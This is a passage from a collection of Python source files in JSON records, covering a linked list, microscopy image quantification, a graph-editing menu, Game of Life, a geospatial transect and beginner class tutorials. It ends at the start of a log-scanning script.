parrafo.strip().lower().replace(',', '').replace('.', '').split(' ')\nverbos = []\nfor palabra in palabras:\n\tenInfinitivo = conjugate(palabra, INFINITIVE)\n\tprint(palabra + \" --> \" + enInfinitivo)\n\tif (enInfinitivo in verbs):\n\t\tverbos.append(enInfinitivo)\n\n\nprint(\"\\nLos 3 verbos mas usados son: \\n\")\nfor verbo in Counter(verbos).most_common(3):\n\tprint(verbo)\n","sub_path":"Practica2/Ejercicio9.py","file_name":"Ejercicio9.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"647837925","text":"\"\"\" \r\n.. module:: LinkedList \r\n :platform: Unix, Windows \r\n :synopsis: Load the file with the values every. The file must be in the same directory with the name \r\n >>> values.txt. \r\n.. moduleauthor:: Jaime Jimenez \r\n\"\"\"\r\n\r\nclass Node(object):\r\n \r\n def __init__(self, value=None, next=None):\r\n self.value = value\r\n self.next = next\r\n\r\nclass LinkedList(object):\r\n\r\n def __init__(self):\r\n self.head = None\r\n\r\n def add(self, value):\r\n \"\"\"Add new item to linked list. \r\n Args: \r\n value: Value of node.\r\n >>> print add(self, value)\r\n \r\n \"\"\"\r\n node = Node(value, self.head)\r\n self.head = node\r\n\r\n def remove(self, value):\r\n \"\"\"Remove item by value. \r\n Args: \r\n value: Value of node.\r\n >>> print remove(self, value)\r\n\r\n \"\"\" \r\n current = self.head\r\n previous = None\r\n # search the node with the data. \r\n # Keep in memory the previous to validate when it is head so point the new head\r\n while current:\r\n if current.value == value:\r\n break\r\n else:\r\n previous = current\r\n current = current.next\r\n if current is None:\r\n raise ValueError('No se encontró el elemento')\r\n if previous is None:\r\n self.head = current.next\r\n else:\r\n previous.next = current.next\r\n\r\n def get_prior(self):\r\n \"\"\"Return the first node. \r\n Args: \r\n value: Value of node.\r\n Returns: \r\n Node. The first node \r\n\r\n >>> print get_prior(self, value) self.head\r\n\r\n \"\"\" \r\n return self.head\r\n\r\n # Get the node next to the node with match with the value\r\n def get_next_by_value(self, value):\r\n \"\"\"Get the node immediatelly next to the first node with that match with the value. \r\n Args: \r\n value: Value of node to search.\r\n Returns: \r\n Node. The next to the node that match with the value\r\n\r\n >>> print remove(self, value) current.next\r\n\r\n \"\"\"\r\n current = self.head\r\n while current:\r\n if current.value == value:\r\n return current.next\r\n else:\r\n current = current.next\r\n\r\n if current is None:\r\n raise ValueError('No se encontró el elemento')\r\n\r\n def __getitem__(self, index):\r\n \"\"\"To able the clase as iterative. \r\n Args: \r\n index: Index of iteration.\r\n Returns: \r\n Node. Node in position = index\r\n\r\n >>> print __getitem__(self, index) nd\r\n\r\n \"\"\"\r\n nd = self.head\r\n for i in range(0,index):\r\n if nd.next is None:\r\n raise StopIteration\r\n nd = nd.next\r\n return nd\r\n","sub_path":"assignment5/assignment5_package/code/LinkedList.py","file_name":"LinkedList.py","file_ext":"py","file_size_in_byte":2835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"246225611","text":"# Given masks from cellpose (from segmenting the DAPI channel of Visium IF\n# images), quantify mean fluorescence in each non-DAPI channel within each\n# nucleus (dilated to include a region around each nucleus), and save a pandas\n# DataFrame with these values for each nucleus.\n\nimport os\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom numpy.random import default_rng\nimport pandas as pd\nimport seaborn as sns\nimport tifffile\nfrom scipy.spatial import KDTree\nfrom scipy import ndimage\nfrom skimage.measure import regionprops, regionprops_table\nimport pyhere\nfrom pathlib import Path\nimport json\n\n################################################################################\n# Variable definitions\n################################################################################\n\n#-------------------------------------------------------------------------------\n# Paths\n#-------------------------------------------------------------------------------\n\nsample_info_path = pyhere.here(\n 'raw-data', 'sample_info', 'Visium_IF_DLPFC_MasterExcel_01262022.xlsx'\n)\nimg_path = pyhere.here('raw-data', 'Images', 'VisiumIF', 'VistoSeg', '{}.tif')\nmask_path = pyhere.here(\n 'processed-data', 'spot_deconvo', '02-cellpose', 'masks', '{}_mask.npy'\n)\nspot_path = pyhere.here(\n 'processed-data', '01_spaceranger_IF', '{}', 'outs', 'spatial',\n 'tissue_positions_list.csv'\n)\nscale_path = pyhere.here(\n 'processed-data', '01_spaceranger_IF', '{}', 'outs', 'spatial',\n 'scalefactors_json.json'\n)\nout_df_path = pyhere.here(\n 'processed-data', 'spot_deconvo', '02-cellpose', '{}', 'df.csv'\n)\nout_df_unfiltered_path = pyhere.here(\n 'processed-data', 'spot_deconvo', '02-cellpose', '{}', 'df_unfiltered.csv'\n)\nout_masks_path = pyhere.here(\n 'processed-data', 'spot_deconvo', '02-cellpose', '{}', 'expanded_masks.npy'\n)\nplot_dir = pyhere.here(\"plots\", \"spot_deconvo\", \"02-cellpose\", \"count_cells_no_GFAP\")\n\nPath(plot_dir).mkdir(parents=True, exist_ok=True)\n\n#-------------------------------------------------------------------------------\n# Dataset-specific variables\n#-------------------------------------------------------------------------------\n\nnames = {0: \"junk\", 1: \"dapi\", 2: \"gfap\", 3: \"neun\", 4: \"olig2\", 5: \"tmem119\"}\ncell_types = {\n \"neun\": \"neuron\",\n \"olig2\": \"oligo\",\n \"tmem119\": \"micro\"\n}\n\n# Nucleus area, in number of pixels, below which a cell is ignored. Tested by\n# eye\narea_threshold = 60\n\ndilation_radius = 15\ndilation_chunk_size = 6\n\nplot_file_type = 'png' # 'pdf' is also supported for higher-quality plots\n\n################################################################################\n# Functions\n################################################################################\n\n# Perform a dilation-like transformation on 'img' by total size\n# 'dilation_radius'. The whole transformation actually involves a series\n# of dilations by size [chunk_size / 2] followed by inversion. The idea\n# is to expand each mask equally without bias towards masks with larger-valued\n# labels (in case of overlap, which frequently happens)\ndef balanced_dilation(img, dilation_radius, chunk_size, verbose = False):\n assert chunk_size % 2 == 0, 'chunk_size must be even'\n assert 2 * dilation_radius % chunk_size == 0, 'cannot break this radius into chunks'\n \n num_chunks = int(2 * dilation_radius / chunk_size)\n dilation_chunked = int(dilation_radius / num_chunks)\n assert num_chunks % 2 == 1, 'must use an odd number of chunks'\n \n # We'll use -1 * MAX_VALUE as a placeholder, assumed to be smaller than\n # all elements in 'img'. Check this assumption\n MAX_VALUE = 2 ** 31 - 1\n assert(np.all(img < MAX_VALUE))\n \n expanded_masks = img.copy().astype(np.int32)\n \n for i in range(num_chunks):\n if verbose:\n print(f'Dilating by {dilation_chunked} pixels...')\n \n # Make sure zero-valued elements are always treated as the smallest\n # value possible for dilation\n zero_indices = expanded_masks == 0\n expanded_masks[zero_indices] = -1 * MAX_VALUE\n \n expanded_masks = ndimage.grey_dilation(\n expanded_masks,\n size = (dilation_chunked, dilation_chunked)\n )\n \n # Return \"zero-valued\" elements to a true value of 0\n zero_indices = expanded_masks == -1 * MAX_VALUE\n expanded_masks[zero_indices] = 0\n \n if i < num_chunks - 1:\n if verbose:\n print('Inverting...')\n \n expanded_masks *= -1\n \n return expanded_masks.astype(img.dtype)\n\n################################################################################\n# Analysis\n################################################################################\n\n# os.environ['SGE_TASK_ID'] = '1'\n\nrng = default_rng()\n\n#-------------------------------------------------------------------------------\n# Read in sample info and adjust paths for this particular sample ID\n#-------------------------------------------------------------------------------\n\n# Different sample IDs are used for different files associated with each\n# sample. Determine both forms of the sample ID for this sample and update\n# path variables accordingly\nsample_info = pd.read_excel(sample_info_path)[:4]\nsample_ids_img = sample_info['Slide SN #'] + '_' + sample_info['Array #']\nsample_ids_spot = 'Br' + sample_info['BrNumbr'].astype(int).astype(str) + \\\n '_' + pd.Series([x.split('_')[1] for x in sample_info['Br_Region']]) + \\\n '_IF'\n\nsample_id_img = sample_ids_img[int(os.environ['SGE_TASK_ID']) - 1]\nimg_path = str(img_path).format(sample_id_img)\nmask_path = str(mask_path).format(sample_id_img)\n\nsample_id_spot = sample_ids_spot[int(os.environ['SGE_TASK_ID']) - 1]\nspot_path = str(spot_path).format(sample_id_spot)\nout_df_path = str(out_df_path).format(sample_id_spot)\nout_df_unfiltered_path = str(out_df_unfiltered_path).format(sample_id_spot)\nout_masks_path = str(out_masks_path).format(sample_id_spot)\n\nPath(out_df_path).parents[0].mkdir(parents=True, exist_ok=True)\n\n# Path to JSON from spaceranger including spot size for this sample\njson_path = str(scale_path).format(sample_id_spot)\nwith open(json_path) as f: \n json_data = json.load(f)\n\n#-------------------------------------------------------------------------------\n# Read in spot data\n#-------------------------------------------------------------------------------\n\n# Read in all spot data\nraw = pd.read_csv(\n spot_path,\n header=None,\n names=[\"barcode\", \"included\", \"row\", \"col\", \"x\", \"y\"],\n)\n\n# Take only spots that overlap tissue\nraw = raw.iloc[raw.included[raw.included == 1].index].reset_index().drop(\n columns=[\"included\", \"index\"]\n)\n\n#-------------------------------------------------------------------------------\n# Quantify mean fluorescence for each channel at each nucleus\n#-------------------------------------------------------------------------------\n\n# Load multi-channel image and masks from segmenting DAPI channel\nimgs = tifffile.imread(img_path)\nmasks = np.load(mask_path)\n\n# Dilate the original masks\nprint(f'Dilating original masks by radius {dilation_radius} and chunk size {dilation_chunk_size}.')\nexpanded_masks = balanced_dilation(masks, dilation_radius, dilation_chunk_size)\n\n# Quantify the mean image fluorescence intensity at each nucleus\n# identified by segmenting the DAPI channel. This is done for each\n# (non-lipofuscin, non-DAPI) channel\nits = {\n names[i]: regionprops_table(\n expanded_masks, intensity_image=imgs[i], properties=[\"intensity_mean\"]\n )[\"intensity_mean\"]\n for i in range(2, 6)\n}\n\n# Create a table containing the centroids and areas of each mask\n# (nucleus), and add this info to the intensities table\ngeneral = regionprops_table(masks, properties=[\"centroid\", \"area\"])\nits[\"area\"] = general[\"area\"]\nits[\"x\"] = general[\"centroid-0\"]\nits[\"y\"] = general[\"centroid-1\"]\n\ndf = pd.DataFrame(its)\n\n#-------------------------------------------------------------------------------\n# Exploratory plot: show the distribution of masks over spots\n#-------------------------------------------------------------------------------\n\n# Plot mask spatial distribution vs. spot distribution; there should be\n# quite a bit of overlap\nplt.clf()\nplt.scatter(raw[\"x\"], raw[\"y\"], 2)\nplt.scatter(df[\"x\"], df[\"y\"], 2)\nplt.savefig(\n os.path.join(\n plot_dir, f'mask_spot_overlap_{sample_id_img}.{plot_file_type}'\n )\n)\n\n#-------------------------------------------------------------------------------\n# Filter masks that are too small or not within a spot\n#-------------------------------------------------------------------------------\n\n# Build KD tree for nearest neighbor search.\nkd = KDTree(raw[[\"x\", \"y\"]])\n\n# For each mask, assign a distance to the nearest spot ('dist') and index of\n# that spot in 'df' ('idx'). Add this info to 'df'\ndist, idx = kd.query(df[[\"x\", \"y\"]])\ndist = pd.DataFrame({\"dist\": dist, \"idx\": idx})\ndf = pd.concat([df, dist], axis=1)\n\n# Write a copy of all segmented nuclei (cells) before the upcoming filtering\n# steps. Modify column names for loading in the Loopy browser\ndf_unfiltered = df.rename(\n {\n 'x': 'y',\n 'y': 'x',\n },\n axis = 1\n)\ndf_unfiltered.index.name = 'id'\ndf_unfiltered.to_csv(out_df_unfiltered_path)\n\n# Filters out masks that are smaller than a threshold and\n# masks whose centroid is farther than the spot radius (aka not inside the\n# spot).\nfrac_kept = round(100 * np.sum(df.dist < json_data['spot_diameter_fullres'] / 2) / len(df.dist), 1)\nprint(f'Keeping {frac_kept}% of masks, which were within spots covered by tissue.')\ndf = df[df.dist < json_data['spot_diameter_fullres'] / 2]\n\nfrac_kept = round(100 * np.sum(df.area > area_threshold) / len(df.area), 1)\nprint(f'Keeping {frac_kept}% of remaining masks, which met a minimum area threshold.')\ndf = df[df.area > area_threshold]\n\n#-------------------------------------------------------------------------------\n# Save relevant data\n#-------------------------------------------------------------------------------\n\ndf.to_csv(out_df_path)\nnp.save(out_masks_path, expanded_masks)\n","sub_path":"code/spot_deconvo/02-cellpose/04-quantify_fluor.py","file_name":"04-quantify_fluor.py","file_ext":"py","file_size_in_byte":10192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"644543262","text":"class Solution:\n # @param A, a list of integers\n # @return an integer\n def firstMissingPositive(self, A):\n #key point is place the element in the right index position\n #ignore all the negative, > n\n #put the other value back to its order position A[A[i]-1]\n if len(A) == 0:\n return 1\n i = 0\n while i != len(A):\n if A[i] != i + 1 and A[i] > 0 and A[i] <= len(A) and A[A[i] -1] != A[i]:\n temp = A[i]\n A[i] = A[A[i] - 1]\n A[temp - 1] = temp\n else:\n i += 1\n for i in range(len(A)):\n if A[i] != i + 1:\n return i + 1\n return len(A)+1","sub_path":"All Code/No.41 First Missing Positive.py","file_name":"No.41 First Missing Positive.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"617737780","text":"from Graph import Graph, read_graph, write_graph, create_random_graph\r\n\r\n\"\"\"\r\nDesign and implement an abstract data type directed graph and a function (either a member function or an external one,\r\n as your choice) for reading a directed graph from a text file.\r\n\r\nThe vertices will be specified as integers from 0 to n-1, where n is the number of vertices.\r\n\r\nEdges may be specified either by the two endpoints (that is, by the source and target), or by some abstract data type\r\nEdge_id (that data type may be a pointer or reference to the edge representation, but without exposing\r\nthe implementation details of the graph).\r\n\r\nAdditionally, create a map that associates to an edge an integer value (for instance, a cost).\r\n\r\nRequired operations:\r\n\r\n-> g̶e̶t̶ ̶t̶h̶e̶ ̶n̶u̶m̶b̶e̶r̶ ̶o̶f̶ ̶v̶e̶r̶t̶i̶c̶e̶s̶;̶\r\n-̶>̶ ̶p̶a̶r̶s̶e̶ ̶(̶i̶t̶e̶r̶a̶t̶e̶)̶ ̶t̶h̶e̶ ̶s̶e̶t̶ ̶o̶f̶ ̶v̶e̶r̶t̶i̶c̶e̶s̶;̶ \r\n-̶>̶ ̶g̶i̶v̶e̶n̶ ̶t̶w̶o̶ ̶v̶e̶r̶t̶i̶c̶e̶s̶,̶ ̶f̶i̶n̶d̶ ̶o̶u̶t̶ ̶w̶h̶e̶t̶h̶e̶r̶ ̶t̶h̶e̶r̶e̶ ̶i̶s̶ ̶a̶n̶ ̶e̶d̶g̶e̶ ̶f̶r̶o̶m̶ ̶t̶h̶e̶ ̶f̶i̶r̶s̶t̶ ̶o̶n̶e̶ ̶t̶o̶ ̶t̶h̶e̶ ̶s̶e̶c̶o̶n̶d̶ ̶o̶n̶e̶,̶ ̶a̶n̶d̶ ̶r̶e̶t̶r̶i̶e̶v̶e̶ ̶t̶h̶e̶ ̶E̶d̶g̶e̶_̶i̶d̶\r\n̶i̶f̶ ̶t̶h̶e̶r̶e̶ ̶i̶s̶ ̶a̶n̶ ̶e̶d̶g̶e̶ ̶(̶t̶h̶e̶ ̶l̶a̶t̶t̶e̶r̶ ̶i̶s̶ ̶n̶o̶t̶ ̶r̶e̶q̶u̶i̶r̶e̶d̶ ̶i̶f̶ ̶a̶n̶ ̶e̶d̶g̶e̶ ̶i̶s̶ ̶r̶e̶p̶r̶e̶s̶e̶n̶t̶e̶d̶ ̶s̶i̶m̶p̶l̶y̶ ̶a̶s̶ ̶a̶ ̶p̶a̶i̶r̶ ̶o̶f̶ ̶v̶e̶r̶t̶e̶x̶ ̶i̶d̶e̶n̶t̶i̶f̶i̶e̶r̶s̶)̶;̶\r\n-̶>̶ ̶g̶e̶t̶ ̶t̶h̶e̶ ̶i̶n̶ ̶d̶e̶g̶r̶e̶e̶ ̶a̶n̶d̶ ̶t̶h̶e̶ ̶o̶u̶t̶ ̶d̶e̶g̶r̶e̶e̶ ̶o̶f̶ ̶a̶ ̶s̶p̶e̶c̶i̶f̶i̶e̶d̶ ̶v̶e̶r̶t̶e̶x̶;̶\r\n-> parse (iterate) the set of outbound edges of a specified vertex (that is, provide an iterator). For each outbound edge,\r\n the iterator shall provide the Edge_id of the current edge (or the target vertex, if no Edge_id is used).\r\n-> parse the set of inbound edges of a specified vertex (as above);\r\n-> get the endpoints of an edge specified by an Edge_id (if applicable);\r\n-> retrieve or modify the information (the integer) attached to a specified edge.\r\n-> The graph shall be modifiable: it shall be possible to add and remove an edge, and to add and remove a vertex. Think\r\nabout what should happen with the properties of existing edges and with the identification of remaining vertices.\r\nYou may use an abstract Vertex_id instead of an int in order to identify vertices; in this case, provide a way of\r\niterating the vertices of the graph.\r\n-> The graph shall be copyable, that is, it should be possible to make an exact copy of a graph, so that the original\r\ncan be then modified independently of its copy. Think about the desirable behaviour of an Edge_property attached to the\r\noriginal graph, when a copy is made.\r\n-> Read the graph from a text file (as an external function); see the format below.\r\n-> Write the graph from a text file (as an external function); see the format below.\r\n-> Create a random graph with specified number of vertices and of edges (as an external function).\r\n\"\"\"\r\n\r\n\r\nclass UI:\r\n def __init__(self, graph):\r\n self._graph = graph\r\n\r\n\r\n @property\r\n def graph(self):\r\n return self._graph\r\n\r\n def print_menu(self):\r\n print(\"1. Read a graph from a file.\\n\")\r\n print(\"2. Write the graph to a file.\\n\")\r\n print(\"3. Get the number of vertices.\\n\")\r\n print(\"4. Parse the set of vertices.\\n\")\r\n print(\"5. Is edge between 2 vertices?\\n\")\r\n print(\"6. Get the in degree of a vertex.\\n\")\r\n print(\"7. Get the out degree of a vertex.\\n\")\r\n print(\"8. Parse the outbound edges of a vertex.\\n\")\r\n print(\"9. Parse the inbound edges of a vertex.\\n\")\r\n print(\"10. Get the endpoints of an edge.\\n\")\r\n print(\"11. Get the cost of an edge.\\n\")\r\n print(\"12. Update the cost of an edge.\\n\")\r\n print(\"13. Add an edge.\\n\")\r\n print(\"14. Remove an edge.\\n\")\r\n print(\"15. Add a vertex.\\n\")\r\n print(\"16. Remove a vertex.\\n\")\r\n print(\"17. Copy the graph.\\n\")\r\n print(\"18. Create a random graph.\\n\")\r\n print(\"19. Print the graph.\\n\")\r\n print(\"20. Exit.\\n\")\r\n\r\n def read_graph_ui(self, name_of_file):\r\n read_graph(self.graph, name_of_file)\r\n print(\"Graph read successfully.\\n\")\r\n\r\n def write_graph_ui(self, name_of_file):\r\n write_graph(self.graph, name_of_file)\r\n print(\"Graph written to file successfully.\\n\")\r\n\r\n def get_number_of_vertices_ui(self):\r\n number_of_vertices = self.graph.number_of_vertices()\r\n print(\"The graph has \" + str(number_of_vertices) + \" vertices.\\n\")\r\n\r\n def parse_the_set_of_vertices_ui(self):\r\n for vertex in self.graph.parse_vertices():\r\n print(vertex)\r\n\r\n def is_edge_between_vertices_ui(self):\r\n vertex_a = int(input(\"Source vertex: \"))\r\n vertex_b = int(input(\"Target vertex: \"))\r\n edge = self.graph.is_edge_from_to(vertex_a, vertex_b)\r\n if edge:\r\n print(\"Yes. Edge \" + str(edge) + \"\\n\")\r\n else:\r\n print(\"There is no edge from \" + str(vertex_a) + \" to \" + str(vertex_b) + \".\\n\")\r\n\r\n def get_in_degree_ui(self):\r\n vertex_id = int(input(\"Enter vertex: \"))\r\n vertex_in_degree = self.graph.get_in_degree(vertex_id)\r\n print(\"The in-degree of vertex \" + str(vertex_id) + \" is \" + str(vertex_in_degree) + \".\\n\")\r\n\r\n def get_out_degree_ui(self):\r\n vertex_id = int(input(\"Enter vertex: \"))\r\n vertex_out_degree = self.graph.get_out_degree(vertex_id)\r\n print(\"The out-degree of vertex \" + str(vertex_id) + \" is \" + str(vertex_out_degree) + \".\\n\")\r\n\r\n def parse_outbound_edges_of_vertex_ui(self):\r\n vertex_id = int(input(\"Enter vertex: \"))\r\n outbound_edges = self.graph.parse_outbound_edges(vertex_id)\r\n if outbound_edges:\r\n print(\"The outbound edges are: \\n\")\r\n for edge in outbound_edges:\r\n print(edge)\r\n else:\r\n print(\"The vertex does not have outbound edges.\\n\")\r\n\r\n def parse_inbound_edges_of_vertex_ui(self):\r\n vertex_id = int(input(\"Enter vertex: \"))\r\n inbound_edges = self.graph.parse_inbound_edges(vertex_id)\r\n if inbound_edges:\r\n print(\"The inbound edges are: \\n\")\r\n for edge in inbound_edges:\r\n print(edge)\r\n else:\r\n print(\"The vertex does not have inbound edges.\\n\")\r\n\r\n def get_endpoints_of_edge_ui(self):\r\n edge_id = int(input(\"Edge id: \"))\r\n source, target = self.graph.get_endpoints_of_an_edge(edge_id)\r\n print(\"The edge \" + str(edge_id) + \" goes from \" + str(source) + \" to \" + str(target) + \".\")\r\n\r\n def get_cost_of_edge_ui(self):\r\n edge_id = int(input(\"Edge id: \"))\r\n edge_cost = self.graph.get_cost_of_edge(edge_id)\r\n print(\"The cost of the edge is \" + str(edge_cost) + \".\")\r\n\r\n def update_cost_of_edge_ui(self):\r\n edge_id = int(input(\"Edge id: \"))\r\n new_cost = int(input(\"New cost: \"))\r\n self.graph.update_cost_of_edge(edge_id, new_cost)\r\n print(\"Cost was updated successfully.\\n\")\r\n\r\n def add_edge_ui(self):\r\n source_vertex = int(input(\"Source vertex: \"))\r\n target_vertex = int(input(\"Target vertex: \"))\r\n edge_cost = int(input(\"Edge cost: \"))\r\n self.graph.add_edge(source_vertex, target_vertex, edge_cost)\r\n print(\"Edge was added successfully.\\n\")\r\n\r\n def remove_edge_ui(self):\r\n edge_id = int(input(\"Edge id: \"))\r\n self.graph.remove_edge(edge_id)\r\n print(\"Edge was removed successfully.\\n\")\r\n\r\n def add_vertex_ui(self):\r\n self.graph.add_vertex()\r\n print(\"Vertex was added successfully.\\n\")\r\n\r\n def remove_vertex_ui(self):\r\n vertex_id = int(input(\"Vertex id: \"))\r\n self.graph.remove_vertex(vertex_id)\r\n print(\"Vertex was removed successfully.\\n\")\r\n\r\n def deepcopy_ui(self):\r\n print(\"The graph was copied.\\n\")\r\n\r\n if self.graph.is_edge_from_to(2, 1) > 0:\r\n print(\"True\") # should be true\r\n else:\r\n print(\"False\")\r\n\r\n copy_of_graph = self.graph.copy()\r\n\r\n if copy_of_graph.is_edge_from_to(2, 1) > 0:\r\n print(\"True\") # should be true\r\n else:\r\n print(\"False\")\r\n copy_of_graph.remove_vertex(2)\r\n\r\n try:\r\n copy_of_graph.is_edge_from_to(2, 1)\r\n assert False\r\n except ValueError:\r\n assert True\r\n\r\n if self.graph.is_edge_from_to(2, 1) > 0:\r\n print(\"True\") # should be true\r\n else:\r\n print(\"False\")\r\n\r\n def create_random_graph_ui(self):\r\n number_of_vertices = int(input(\"Number of vertices: \"))\r\n number_of_edges = int(input(\"Number of edges: \"))\r\n print(create_random_graph(number_of_vertices, number_of_edges))\r\n\r\n def print_graph(self):\r\n print(self.graph)\r\n\r\n def start(self):\r\n self.print_menu()\r\n not_finished = 1\r\n input_file = \"input_data.txt\"\r\n output_file = \"output_data.txt\"\r\n options = {3: self.get_number_of_vertices_ui,\r\n 4: self.parse_the_set_of_vertices_ui, 5: self.is_edge_between_vertices_ui, 6: self.get_in_degree_ui,\r\n 7: self.get_out_degree_ui, 8: self.parse_outbound_edges_of_vertex_ui,\r\n 9: self.parse_inbound_edges_of_vertex_ui, 10: self.get_endpoints_of_edge_ui,\r\n 11: self.get_cost_of_edge_ui, 12: self.update_cost_of_edge_ui, 13: self.add_edge_ui,\r\n 14: self.remove_edge_ui, 15: self.add_vertex_ui, 16: self.remove_vertex_ui,\r\n 17: self.deepcopy_ui, 18: self.create_random_graph_ui, 19: self.print_graph}\r\n while not_finished:\r\n user_option = int(input(\"Enter option: \"))\r\n if user_option == 1:\r\n try:\r\n self.read_graph_ui(input_file)\r\n except Exception as exception_message:\r\n print(exception_message)\r\n elif user_option == 2:\r\n try:\r\n self.write_graph_ui(output_file)\r\n except Exception as exception_message:\r\n print(exception_message)\r\n elif user_option in options:\r\n try:\r\n options[user_option]()\r\n except Exception as exception_message:\r\n print(exception_message)\r\n elif user_option == 20:\r\n not_finished = 0\r\n else:\r\n print(\"Invalid command.\")\r\n\r\n\r\nmy_graph = Graph()\r\nui = UI(my_graph)\r\nui.start()\r\n","sub_path":"Lowest length path backward BF/UI.py","file_name":"UI.py","file_ext":"py","file_size_in_byte":10871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"85299334","text":"# Project: GameOfLife\n#\n# Created by Michal Lukaszewicz (remoteVoyager) at 2019-08-04\n# mlukaszewicz2@gmail.com\nfrom gameOfLife import *\nimport curses\nimport time\n\nboard = load_board_state(\"examples/ggg.txt\")\n\nscreen = curses.initscr()\ncurses.cbreak()\ncurses.noecho()\ncurses.nodelay(True)\nscreen.keypad(True)\n\nwhile (True):\n rboard = render_board(board)\n\n screen.clear()\n\n screen.addstr(0, 0, \"\".join(rboard))\n\n board = next_board_state(board)\n\n curses.napms(100)\n screen.refresh()\n\n if screen.getkey() == curses.KEY_BACKSPACE:\n break\n\ncurses.nocbreak()\nscreen.keypad(False)\ncurses.echo()\ncurses.endwin()\n","sub_path":"ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"599880638","text":"import fiona\nimport numpy\nimport rasterio\nimport shapely.geometry\nimport xarray\n\nimport datacube\n\n\ndef transect(data, line, resolution, method='nearest', tolerance=None):\n \"\"\"\n Extract line transect from data along geom\n\n :param xarray.Dataset data: data loaded via `Datacube.load`\n :param shapely.geometry.LineString line: line along which to extract the transect (CRS must match data.crs)\n :param float resolution: interval used to extract points along the line (in CRS units)\n :param str method: see xarray.Dataset.sel_points\n :param float tolerance: see xarray.Dataset.sel_points\n \"\"\"\n dist = numpy.arange(0, int(line.length), resolution)\n points = zip(*[line.interpolate(d).coords[0] for d in dist])\n indexers = {\n data.crs.dimensions[0]: list(points[1]),\n data.crs.dimensions[1]: list(points[0])\n }\n return data.sel_points(xarray.DataArray(dist, name='distance', dims=['distance']),\n method=method,\n tolerance=tolerance,\n **indexers)\n\n\ndef warp_geometry(geom, src_crs, dst_crs):\n \"\"\"\n warp geometry from src_crs to dst_crs\n \"\"\"\n return shapely.geometry.shape(rasterio.warp.transform_geom(src_crs, dst_crs, shapely.geometry.mapping(geom)))\n\n\ndef main():\n with fiona.open('line.shp') as shapes:\n line_crs = str(shapes.crs_wkt)\n line = shapely.geometry.shape(next(shapes)['geometry'])\n\n query = {\n 'time': ('1990-01-01', '1991-01-01'),\n 'x': (line.bounds[0], line.bounds[2]),\n 'y': (line.bounds[1], line.bounds[3]),\n 'crs': line_crs\n }\n\n dc = datacube.Datacube()\n data = dc.load(product='ls5_nbar_albers', measurements=['red'], **query)\n\n line_albers = warp_geometry(line, query['crs'], data.crs.wkt)\n trans = transect(data, line_albers, abs(data.affine.a))\n trans.red.plot(x='distance', y='time')\n","sub_path":"docs/user/recipes/line_transect.py","file_name":"line_transect.py","file_ext":"py","file_size_in_byte":1910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"163089238","text":"def EvenOddIndex(instream):\n\n evenList = list()\n oddList = list()\n index = 0\n\n for letters in instream:\n if index % 2 != 0:\n oddList.append(letters)\n else:\n evenList.append(letters)\n index += 1\n\n print(''.join(evenList) + \" \" + ''.join(oddList))\n\n\nn = int(input())\nstream = []\nfor i in range (n):\n elem = input()\n stream.append(elem)\n\nlength = len(stream)\nfor i in range (length):\n word = stream[i]\n EvenOddIndex(word)\n","sub_path":"HackerRank/30 Days of Coding/day 6.py","file_name":"day 6.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"630557720","text":"# Python language basics 7\n# Classes and Objects \n# Class fields, methods, and constructors\n# Object Instantiation\n\n# A class is just a blueprint that defines an object's attributes and behaviours\nclass GameCharacter:\n\n # A field or global variable(assigned to this value when the class is instantiated\n speed = 5\n\n # Constructor creates a new class instance and sets up the defined fields \n def __init__(self, name, width, height, x_pos, y_pos):\n self.name = name\n self.width = width\n self.height = height\n self.x_pos = x_pos\n self.y_pos = y_pos\n \n # Method is just a function that typically modifies the class's fields\n def move(self, by_x_amt, by_y_amt):\n self.x_pos += by_x_amt \n self.y_pos += by_y_amt \n\n# character_0 is a new instance of the GameCharacter class with defined attributes \ncharacter_0 = GameCharacter('char_0', 50, 100, 100, 100)\nprint(character_0.name)\ncharacter_0.name = 'char_1'\nprint(character_0.name)\n\ncharacter_0.move(50, 100)\nprint(character_0.x_pos)\nprint(character_0.y_pos)\n\n\n\n##############################################################################3\n# Python language basics 8\n# subclasses, superclasses, and inheritance\n\n\n# PlayerCharacter is a subclass of GameCharacter\n# PlayerCharacter has access to everything defined in GameCharacter\nclass PlayerCharacter(GameCharacter):\n\n speed = 10\n \n # Should still provide a constructor/initializer\n def __init__(self, name, x_pos, y_pos):\n super().__init__(name, 100, 100, x_pos, y_pos)\n\n # Method override, PlayerCharacter can only modify y_pos\n def move(self, by_y_amount):\n super().move(0, by_y_amount)\n\nclass NonPlayerCharacter(GameCharacter):\n \n speed = 20\n\n # Should still provide a constructor/initializer\n def __init__(self, name, x_pos, y_pos):\n super().__init__(name, 200, 200, x_pos, y_pos)\n \n # Method override, NonPlayerCharacter can only modify x_pos\n def move(self, by_x_amount):\n super().move(by_x_amount, 0)\n\n\n\nplayer_character = PlayerCharacter('P_character', 500, 500)\nprint(player_character.name) # 'P_character'\n\nplayer_character.move(100)\nprint(player_character.x_pos) # 500\nprint(player_character.y_pos) # 600\n\nnon_player_character = NonPlayerCharacter('NPC', 600, 600)\nprint(non_player_character.name) # 'NPC'\n\nnon_player_character.move(100)\nprint(non_player_character.x_pos) # 700\nprint(non_player_character.y_pos) # 600\n\n\n\n\n\n\n","sub_path":"python/zenva/classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":2528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"469709964","text":"#\r\n\"\"\"\r\n\tScan APS logfile and extract relevant items\r\n to compare original SMB analysis vs. the determine_basal.py\r\n\"\"\"\r\n#\tVersion 